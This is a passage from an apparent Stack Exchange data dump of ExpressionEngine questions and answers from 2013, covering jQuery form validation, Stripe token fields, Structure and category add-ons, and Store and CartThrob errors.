&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question 1) Where can I edit the form html? And/or how can I add an onsubmit attribute to the form's opening tag? Does that EE code build a form tag? Or can I edit the static html elsewhere? In addition to other methods, I want to try to add an onsubmit attribute to the form tag. Not saying it's the best way, or that it'll work, but I want to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2) How can I stop the form submission to check two text input fields before proceeding? I need to make it so &lt;strong&gt;one of two fields&lt;/strong&gt;, in this case zip or city, are not blank. At least one must be filled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the &lt;code&gt;loader()&lt;/code&gt; bit took care of everything, meaning I could call a diff function and then have &lt;code&gt;loader()&lt;/code&gt; called when the validator checks out ok, but &lt;code&gt;loader()&lt;/code&gt; just handles some css changes. I have no idea how the form is calling the MXgm script or sending it data, so I don't know how to stop it or call it manually myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any tips.&lt;/p&gt;&#xA;" OwnerUserId="1190" LastActivityDate="2013-03-25T15:52:13.090" Title="How can I stop a form submit and validate with javascript?" Tags="|forms|javascript|jquery|validation|mx-google-map|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7675" PostTypeId="2" ParentId="7674" CreationDate="2013-03-24T22:40:05.780" Score="2" Body="&lt;p&gt;You can use the Forms JS Validation plugin &lt;a href=&quot;http://devot-ee.com/add-ons/forms-js-validation&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/forms-js-validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add basic and complex validation to your forms without modify the form tag itself.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-03-24T22:40:05.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7676" PostTypeId="2" ParentId="7669" CreationDate="2013-03-25T01:47:59.973" Score="2" Body="&lt;p&gt;As Denny has mentioned there are a few extra fields that you can pass to Stripe when you creating the token. For most sites that I have worked on the last step when the user enters their CC details usually shows the billing/shipping details as text text instead of an input as they are just confirming the details are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of adding the fields back in as form inputs or creating them as hidden inputs you can use the &lt;a href=&quot;http://api.jquery.com/text/&quot; rel=&quot;nofollow&quot;&gt;.text()&lt;/a&gt; property. I am using a slightly modified version of the store_example/checkout3 template below (from about line 32ish).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Billing Details&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;billing_name&quot;&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;billing_address1&quot;&amp;gt;{billing_address1}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;billing_address2&quot;&amp;gt;{billing_address2}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;billing_city&quot;&amp;gt;{billing_address3}&#xA;&amp;lt;div id=&quot;billing_zip&quot;&amp;gt; {billing_postcode}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;billing_region_name&quot;&amp;gt;{billing_region_name}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;billing_country&quot;&amp;gt;{billing_country_name}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;billing_phone&quot;&amp;gt;{billing_phone}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;{order_email}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your footer area you would want to adjust the JS where you create the Stripe Token as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Create a Stripe card token */&#xA;Stripe.createToken({&#xA;name: $(&quot;#payment_name&quot;).val(),&#xA;number: $(&quot;#payment_card_no&quot;).val(),&#xA;cvc: $(&quot;#payment_card_csc&quot;).val(),&#xA;exp_month: $(&quot;#payment_exp_month&quot;).val(),&#xA;exp_year: $(&quot;#payment_exp_year&quot;).val(),&#xA;address_line1: $(&quot;#billing_address1&quot;).text(),&#xA;address_line2: $(&quot;#billing_address2&quot;).text(),&#xA;address_city:  $(&quot;#billing_address2&quot;).text(),&#xA;address_state: $(&quot;#billing_region_name&quot;).text(),&#xA;address_zip: $(&quot;#billing_zip&quot;).text(),&#xA;address_country: $(&quot;#billing_country&quot;).text()&#xA;&#xA;/* any additional fields you would like to pass through with a comma at the end of every line but the last one */&#xA;}, stripeResponseHandler);&#xA;&#xA;/* We don't want to submit the form yet */&#xA;return false; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the full list of the parameters that are available &lt;a href=&quot;https://stripe.com/docs/stripe.js#createToken&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. For the initial setup of Stripe with Exp:resso Store go &lt;a href=&quot;https://exp-resso.com/docs/store/payment_gateways.html#stripe&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-25T01:47:59.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7677" PostTypeId="1" AcceptedAnswerId="7679" CreationDate="2013-03-25T04:12:58.500" Score="1" ViewCount="767" Body="&lt;p&gt;I find myself struggling with some of Structure's documentation and cannot find an answer via Google either, here's the skinny:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently have 2 top level &quot;pages&quot; (2 more but are hidden because I dont need them in the nav list). Each of these have children pages and everything is dandy and working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Top Level Page1 - overview template / Channel1&#xA;    + Child Page -- Display template / Channel2&#xA;    + Child Page -- Display template / Channel2&#xA;&#xA;Top Level Page2 - overview template / Channel1&#xA;    + Child Page -- Display template / Channel2&#xA;    + Child Page -- Display template / Channel2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now need to take those 2 &quot;top&quot; level pages and insert them into a select dropdown for some JS sorting on a page that isn't managed by Structure, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Project Overview -- show all entries template - Channel2&#xA;    {exp:channel:entries}&#xA;    // Works well, spits out Channel2 data no prob&#xA;    //This is what I need&#xA;    &amp;lt;option value=&quot;{structure:parent:id}&quot;&amp;gt;structure:parent:name&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot;}&#xA;  &amp;lt;option value=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;{/exp:structure:nav}&#xA;//This code works well in nav&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This yields nothing (blank code), the docs allude that using :nav sets an li which I dont want &amp;amp; likely causing nothing to output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect because Structure isn't managing the &quot;projects&quot; page, finding a parent or anything to do with normal &lt;code&gt;exp:channel:entries&lt;/code&gt; tag is the roadblock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought about adding Top Level pages as children of a new 'parent' but then I'd have another list item in the main nav which we dont want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Totally stumped :(&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-03-25T06:36:47.663" Title="Retrieve Structure Top Level Pages" Tags="|structure|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7678" PostTypeId="2" ParentId="7677" CreationDate="2013-03-25T04:47:09.327" Score="3" Body="&lt;p&gt;You'll need to use the &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;Structure Entries add-on&lt;/a&gt; for this. Here's the basic idea (full docs can be found at the devot-ee page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;Menu&quot; name=&quot;menu&quot;&amp;gt;&#xA;  {exp:structure_entries  depth=&quot;1&quot;}&#xA;    &amp;lt;option value=&quot;{page_uri}&quot; {if {current_page}}selected{/if}&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;  {/exp:structure_entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-03-25T04:47:09.327" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7679" PostTypeId="2" ParentId="7677" CreationDate="2013-03-25T06:36:47.663" Score="0" Body="&lt;p&gt;For those interested and for my future self, I basically need to add id's to 2 select dropdpowns (1 for category and for one to identity which parent it belongs to)  + also replicate on 2 data values for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all outside the Structure framework, I'm querying only the children entries with a simple exp:channel:entries but no native way to query who its parent is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Simple enough to add top value entry_ids&#xA;&amp;lt;select name=&quot;disciplines&quot; data-label=&quot;Filter by Disciplines&quot;&amp;gt;&#xA;  &amp;lt;option selected=&quot;selected&quot; value=&quot;all&quot;&amp;gt;All Disciplines&amp;lt;/option&amp;gt;&#xA;  {exp:structure_entries depth=&quot;1&quot; hide_from_nav=&quot;yes&quot;}&#xA;    &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;  {/exp:structure_entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;/* Bit of a no brainer getting the categories&#xA;&amp;lt;select name=&quot;market&quot; data-label=&quot;Filter by Market&quot;&amp;gt;&#xA;&amp;lt;option selected=&quot;selected&quot; value=&quot;all&quot;&amp;gt;All Markets&amp;lt;/option&amp;gt;&#xA;  {exp:gwcode_categories style=&quot;linear&quot; channel=&quot;project_detail&quot; show_empty=&quot;no&quot;}&#xA;    &amp;lt;option value=&quot;{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/option&amp;gt;&#xA;  {/exp:gwcode_categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the fun part, mighty Croxton Stash + Structure Entries FTW&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Simple list of relationships !!&#xA;{exp:stash:set_list name=&quot;associated&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:structure_entries  hide_from_nav=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;        {stash:parentid}{parent_id}{/stash:parentid}&#xA;        {stash:entryid}{entry_id}{/stash:entryid}&#xA;    {/exp:structure_entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THE MAGIC = match + against !!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project_detail&quot;}&#xA;&amp;lt;article data-disciplines=&quot;{exp:stash:get_list name='associated' match='#{entry_id}#' against='entryid'}{parentid},{/exp:stash:get_list}&quot;&#xA;data-market=&quot;{exp:gwcode_categories entry_id='{entry_id}' style='linear' backspace='1'}{cat_url_title},{/exp:gwcode_categories}&quot;&amp;gt;&#xA;... remainder of layout for product ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-03-25T06:36:47.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7680" PostTypeId="2" ParentId="7666" CreationDate="2013-03-25T06:59:33.683" Score="1" Body="&lt;p&gt;No, not yet, sorry Roger. We do have something planned for that, but I can't make any promises regarding ETA.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-03-25T06:59:33.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7681" PostTypeId="1" AcceptedAnswerId="7683" CreationDate="2013-03-24T12:22:48.410" Score="2" ViewCount="126" Body="&lt;p&gt;I have 3 category parents with several children in each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a single entry product page, I would like to list which categories the product belongs to (children only), with a single header for each category parent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Publisher: (parent id 22) &#xA;Designer: (parent id 45)&#xA;Genre: (parent id 8)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be multiple children categories for Designer and Genre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to use conditional statements that spit out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if publisher is checked then &amp;lt;p&amp;gt;Publisher: &amp;lt;a href=&quot;#&quot;&amp;gt;publishercategoryname&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt;&#xA;&#xA;if designer is checked then &amp;lt;p&amp;gt;Publisher: &amp;lt;a href=&quot;#&quot;&amp;gt;designercategoryname1&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;#&quot;&amp;gt;designercategoryname2&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;#&quot;&amp;gt;designercategoryname3&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt;&#xA;&#xA;if genre is checked then &amp;lt;p&amp;gt;Genre(s): &amp;lt;a href=&quot;#&quot;&amp;gt;genrecategoryname1&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;#&quot;&amp;gt;genrecategoryname2&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;#&quot;&amp;gt;genrecategoryname3&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like the parent to show up just once, with the children category names nested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="437" OwnerDisplayName="Alissa J. Robinson" LastActivityDate="2013-03-25T09:14:33.207" Title="Displaying what categories a product belongs to on a single-entry page" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7682" PostTypeId="2" ParentId="7681" CreationDate="2013-03-24T12:43:21.680" Score="0" Body="&lt;p&gt;This excellent add-on &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/gwcode-categories&lt;/a&gt; will do exactly what you need. Check it out!&lt;/p&gt;&#xA;" OwnerUserId="64" OwnerDisplayName="erwinheiser" LastActivityDate="2013-03-24T12:43:21.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7683" PostTypeId="2" ParentId="7681" CreationDate="2013-03-24T13:15:41.730" Score="2" Body="&lt;p&gt;Whilst you can do some complicated stuff with GW Categories, I would probably first use separate category groups for these three things instead of nesting parent-child categories. It would simplify things greatly and create better separation of concerns, since your top-level categories are not semantically related to each other - you're basically just faking headings which would be better suited as individual category groups.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;example&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; style=&quot;linear&quot;}&#xA;       {if group_start}&amp;lt;p&amp;gt;{cat_group_name}: {/if}&#xA;       &amp;lt;a href=&quot;{path=category/{cat_url_title}}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;       {if group_end}&amp;lt;/p&amp;gt;{if:else} ,{/if}&#xA;     {/exp:gwcode_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" OwnerDisplayName="James Smith" LastEditorUserId="182" LastEditDate="2013-03-25T09:14:33.207" LastActivityDate="2013-03-25T09:14:33.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7685" PostTypeId="1" AcceptedAnswerId="7696" CreationDate="2013-03-25T13:56:52.307" Score="1" ViewCount="264" Body="&lt;p&gt;Is it possible to use an exp-resso store coupon code without being logged in / without being a member?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://exp-resso.com/docs/store/settings_promo_codes.html&quot; rel=&quot;nofollow&quot; title=&quot;docs&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restrict to Member Group: If configured, the promo code will only be able to be used by logged in members in this member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I set the setting to 'all'. When I log out to test the code I get an error 'invalid code'. If I'm logged in, everything works shiny.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-03-25T18:04:46.923" Title="Use an exp-resso store coupon code without being a member" Tags="|expresso-store|coupon-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7686" PostTypeId="2" ParentId="7674" CreationDate="2013-03-25T15:52:13.090" Score="2" Body="&lt;p&gt;To stop the posting of the forum, you can use jQuery submit:&#xA;&lt;a href=&quot;http://api.jquery.com/submit/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/submit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).ready(function() {&#xA;    $('#mx_locator').submit(function() {&#xA;        if ($('#mx_zip').val() == '' &amp;amp;&amp;amp; $('#mx_city').val() == '') {&#xA;            // Additional code here to light up the input or display error message&#xA;            return false;&#xA;        }&#xA;        return true;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;return false will stop the form from submitting.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-03-25T15:52:13.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7687" PostTypeId="1" AcceptedAnswerId="7695" CreationDate="2013-03-25T15:58:57.873" Score="1" ViewCount="62" Body="&lt;p&gt;I just moved a site to a new server and everything is working beautifully except for Store. In CP, I see this PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Constant STORE_CP already defined&#xA;Filename: store/mcp.store.php&#xA;Line Number: 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The front-end has this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Store_cart::count_contents()&#xA;in /public_html/manager/expressionengine/third_party/store/mod.store.php &#xA;on line 55&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Store 1.6.3, EE 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-03-25T18:03:21.463" Title="Expresso Store - PHP Error - store/mcp.store.php" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7688" PostTypeId="1" CreationDate="2013-03-25T16:41:35.510" Score="1" ViewCount="122" Body="&lt;p&gt;I am running EE 2.5.5 the CT 2.2.9 (latest version). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been alerted by my client that when visitors are checking out, the basket is not emptying. This causes problems if a user then tries to checkout again, as the previous product can be sold out and still tries to checkout with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any setting for this in the cp. Anyone seeing or have seen a similar issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-03-25T20:09:15.743" Title="Cart throb not emptying cart after successful checkout" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7689" PostTypeId="2" ParentId="7687" CreationDate="2013-03-25T17:00:41.210" Score="1" Body="&lt;p&gt;It's possibly a permissions issue. If you make sure the &lt;code&gt;store&lt;/code&gt; directory in the &lt;code&gt;third_party&lt;/code&gt; folder has correct permissions (maybe 755) then that may fix it...?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-25T17:00:41.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7690" PostTypeId="1" CreationDate="2013-03-25T17:06:00.343" Score="1" ViewCount="124" Body="&lt;p&gt;A client has a request that the file size units in upload preferences be changed to a more familiar unit of KB (Kilobytes). It does make sense to me as well, as most operating systems display the file size as the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this configurable?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-03-25T20:04:35.023" Title="Change file upload size units from bytes to kilobytes?" Tags="|config-overrides|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7691" PostTypeId="1" CreationDate="2013-03-25T17:27:32.140" Score="4" ViewCount="211" Body="&lt;p&gt;I have recently come across an issue on a site I'm working on. The problem is that a Playa field doesn't seem to be displaying a related entry title. Normally I have no issue whatsoever with Playa tags so this has me stumped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the opening channel tag &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;courses&quot; dynamic=&quot;on&quot; limit=&quot;8&quot; disable=&quot;member_data&quot;&#xA;    status=&quot;not closed&quot;&#xA;    paginate=&quot;bottom&quot; paginate_base=&quot;{language_prefix}/courses/category/{segment_3}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This channel contains &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An image (file field) &lt;/li&gt;&#xA;&lt;li&gt;Title &lt;/li&gt;&#xA;&lt;li&gt;Category (using the &lt;code&gt;{categories}&lt;/code&gt; tag) &lt;/li&gt;&#xA;&lt;li&gt;A short abstract (text area) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and also a related venue field (using Playa) coded as the following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{course_related_venue disable=&quot;member_data&quot;}{title}1{/course_related_venue} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is followed by pagination and then the closing &lt;code&gt;{/exp:channel:entries}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something obvious that I'm missing that would cause the Playa field data to not display. It seems that anything inside the Playa tag just isn't being recognized, even if I hardcode something inside there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone maybe shed some light on this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*and in case it helps, this is on a category page so has a url of /courses/category/C6/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Lisa Wess: additional information you requested&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Versions&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.2&#xA;Playa v4.1.0.3&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Template Code&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/_head&quot; title=&quot;{general_custom_homepage_title}&quot; hide_site_title=&quot;y&quot; body=&quot;courses&quot;}&#xA;&#xA;&amp;lt;header class=&quot;head-container course detail&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;      &amp;lt;img class=&quot;courses-for-you&quot; src=&quot;/assets/images/courses/courses-course.png&quot;&amp;gt;&#xA;&#xA;&#xA;        {exp:aj_lang:get_text word=&quot;courses&quot;}&#xA;&#xA;&#xA;&#xA;&#xA;{exp:channel:category_heading dynamic=&quot;on&quot; channel=&quot;courses&quot;}&amp;lt;h4&amp;gt;{exp:aj_lang:get_text word=&quot;Course Category&quot;}:  {if language_prefix==&quot;/en&quot;}{category_name}{if:else}{course_category_name{language_suffix}}{/if}&amp;lt;/h4&amp;gt;&#xA;{/exp:channel:category_heading} &#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/container--&amp;gt;&#xA;&amp;lt;/header&amp;gt;&amp;lt;!--/head-container--&amp;gt;&#xA;&amp;lt;br class=&quot;visible-phone&quot;/&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;    &#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;&#xA;&#xA;          &amp;lt;p class=&quot;label&quot;&amp;gt;{exp:aj_lang:get_text word=&quot;Course Category&quot;}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;ul class=&quot;category-spanned&quot;&amp;gt;&#xA;        {exp:channel:categories style=&quot;linear&quot; category_group=&quot;3&quot;}&#xA;&#xA;&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path={language_prefix}/courses/category}&quot;&amp;gt; {if language_prefix==&quot;/en&quot;}{category_name}{if:else}{course_category_name{language_suffix}}{/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;             {/exp:channel:categories}&#xA;         &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/spnn4--&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;span8&quot;&amp;gt;  &#xA;&#xA;&#xA;&#xA;&amp;lt;p class=&quot;label&quot;&amp;gt;{exp:channel:category_heading dynamic=&quot;on&quot; channel=&quot;courses&quot;} {if language_prefix==&quot;/en&quot;}{category_name}{if:else}{course_category_name{language_suffix}}{/if}{/exp:channel:category_heading} {exp:aj_lang:get_text word=&quot;Courses&quot;}&amp;lt;/p&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;courses&quot; dynamic=&quot;on&quot; limit=&quot;8&quot; disable=&quot;member_data&quot; status=&quot;not closed&quot; paginate=&quot;bottom&quot; paginate_base=&quot;{language_prefix}/courses/category/{segment_3}&quot;} &#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&amp;lt;!--nested row open--&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;span1&quot;&amp;gt;&#xA;{if course_image}&#xA;      {course_image}&#xA;      &amp;lt;span class=&quot;course-image&quot;&amp;gt;{exp:imgsizer:size src=&quot;{url}&quot; width=&quot;70&quot; height=&quot;70&quot;}&amp;lt;/span&amp;gt;&#xA;      {/course_image}&#xA;      {if:else}&#xA;       &amp;lt;span class=&quot;course-image&quot;&amp;gt;{exp:imgsizer:size src=&quot;/assets/images/courses/placeholder-course.jpg&quot; width=&quot;70&quot; height=&quot;70&quot;}&amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/span1--&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;span7&quot;&amp;gt;&#xA;&#xA;&#xA;      &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;a class=&quot;course&quot; href=&quot;{language_prefix}/courses/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&#xA;          &amp;lt;p class=&quot;no-font&quot;&amp;gt;&amp;lt;small&amp;gt;{exp:aj_lang:get_text word=&quot;Category&quot;}:{categories}  {if language_prefix==&quot;/en&quot;}{category_name}{if:else}{course_category_name{language_suffix}}{/if}{/categories}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;          &amp;lt;p class=&quot;no-font&quot;&amp;gt;&amp;lt;small&amp;gt;{exp:aj_lang:get_text word=&quot;Venue&quot;}: {course_related_venue}{title}{/course_related_venue} &amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;{if course_abstract{language_suffix}}{course_abstract{language_suffix}}&#xA;          {if:else}{exp:aj_lang:get_text word=&quot;Currently awaiting more information&quot;}{/if}&#xA;          &amp;lt;/p&amp;gt;&#xA;          &amp;lt;br/&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;a class=&quot;button course shadow&quot; href=&quot;{language_prefix}/courses/{url_title}&quot;&amp;gt;{exp:aj_lang:get_text word=&quot;More about this course&quot;} &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;          {if no_results}&#xA;           &amp;lt;p&amp;gt;{exp:aj_lang:get_text word=&quot;Currently no courses in this category&quot;}&amp;lt;/p&amp;gt;&#xA;          